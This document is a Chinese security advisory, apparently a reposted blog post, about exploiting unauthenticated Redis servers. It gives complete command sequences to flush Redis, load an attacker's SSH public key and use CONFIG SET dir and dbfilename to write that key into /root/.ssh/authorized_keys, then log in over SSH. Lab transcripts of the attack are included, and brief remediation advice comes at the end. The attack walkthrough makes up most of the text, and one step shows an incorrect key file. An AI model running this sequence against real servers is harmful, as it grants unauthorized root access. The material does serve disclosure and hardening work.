redis配置不当可直接导致服务器被控制

http://www.secpulse.com/archives/40406.html#respond

预警简述：

2014年的时候安全脉搏首发《利用redis写webshell》《redis写shell的小技巧》

近日我们监测到antirez.com曝出redis存在高危安全风险，攻击者利用该风险可直接控制业务服务器，导致被入侵。
目前已监测到攻击者正在利用该漏洞攻击国内的服务器，手游类很多都是用的redis开放，而且未授权访问。

攻击方式：

当企业所使用的redis对外开放且存在未授权访问的情况下（这是redis安装时的默认配置），攻击者则可以通过redis在服务器上写入公钥，从而可以从外部直接登入服务器，达到入侵的目的。

1. 详细攻击方式如下：
   1. 事先先准备好自己的公钥，写入一个本地文件foo.txt。
   $ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
   2. 通过redis将该文件写入内存
   $ redis-cli -h 192.168.1.11 flushall
   $ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
   3. 利用redis-cli 写入配置的方式将公钥写入到.ssh目录下
   $ redis-cli -h 192.168.1.11
   192.168.1.11:6379> config set dir /Users/antirez/.ssh/
   OK
   192.168.1.11:6379> config get dir
   1) "dir"
   2) "/Users/antirez/.ssh"
   192.168.1.11:6379> config set dbfilename "authorized_keys"
   OK
   192.168.1.11:6379> save
   OK
   4.然后就可以通过自己的私钥登陆服务器

 

攻击测试：

服务器配置不当包括三个部分:
1.Redis服务使用ROOT账号启动
2.Redis服务无密码认证或者使用的是弱口令进行认证
3.服务器开放了SSH服务，而且允许使用密钥登录

简单的写下过程

测试环境
victim server CentOS6.6 192.168.1.11
attack server CentOS6.6+redis2.4 192.168.1.12

$ telnet 192.168.1.11 6379
Trying 192.168.1.11...
Connected to 192.168.1.11.
Escape character is '^]'.
echo "Hey no AUTH required!"
$21
Hey no AUTH required!
quit
+OK
Connection closed by foreign host.

表明了Redis是正常工作的，而且不需要进行身份认证。

先在attack server生成一个公钥

$ ssh-keygen -t rsa -C "crack@redis.io"
Generating public/private rsa key pair.
Enter file in which to save the key (/home/antirez/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
f0:a1:52:e9:0d:5f:e4:d9:35:33:73:43:b4:c8:b9:27 crack@redis.io
The key's randomart image is:
+--[ RSA 2048]----+
|          .   O+.|
|       . o o..o*o|
|      = . + .+ . |
|     o B o    .  |
|    . o S    E . |
|     .        o  |
|                 |
|                 |
|                 |
+-----------------+

这样有了一个公钥，但是需要把这个公钥复制到目标机器

1	$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

Now foo.txt is just our public key but with newlines. We can write this string inside the memory of Redis using redis-cli:

1 2	$ redis-cli -h 192.168.1.11 flushall $ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit

Looks good. How to dump our memory content into the authorized_keys file? That’s
kinda trivial.

$ redis-cli -h 192.168.1.11
192.168.1.11:6379> config set dir /Users/antirez/.ssh/
OK
192.168.1.11:6379> config get dir
1) "dir"
2) "/Users/antirez/.ssh"
192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
192.168.1.11:6379> save
OK

      At this point the target authorized keys file should be full of garbage, but should also include our public key. The string does not have simple patterns so it’s unlikely that it was compressed inside the RDB file. Will ssh be so naive to parse a totally corrupted file without issues, and accept the only sane entry inside?

$ ssh -i id_rsa antirez@192.168.1.11
Enter passphrase for key 'id_rsa':
Last login: Mon Nov  2 15:58:43 2015 from 192.168.1.10
~ ➤ hostname
Salvatores-MacBook-Air.local

<pre name="code" class="plain">###测试环境
```
victim server CentOS6.6+redis2.4  192.168.192.133
 
attack server CentOS6.6  192.168.192.132
 
```
 
先在attack server生成一个公钥
```
ssh-keygen -t rsa -C "redis"
(echo -e "\n\n"; cat redis.pub; echo -e "\n\n") > redis.txt
```
然后执行
```
redis-cli -h 192.168.192.133 flushall
 
cat redis.txt | redis-cli -h 192.168.192.133 -x set pwn
 
```
登录redis并修改其配置  redis-cli -h 192.168.192.133
```
CONFIG set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
exit
```
然后就可以使用ssh的公钥登录了
```
ssh -i redis.pub root@192.168.192.133
```

```

攻击条件

1.redis对外开放，且未授权访问（默认配置）
2.服务器的ssh对外开放，可通过key登录

处理方案：

1.排查企业所使用的所有redis服务，确定影响范围
2.限制redis对外访问的权限，可考虑启用密码认证和设置ip访问限制
3.ssh等服务尽量不要对外开放

 

参考:

http://antirez.com/news/96
http://v2ex.com/t/234520#reply25
http://0day5.com/archives/3569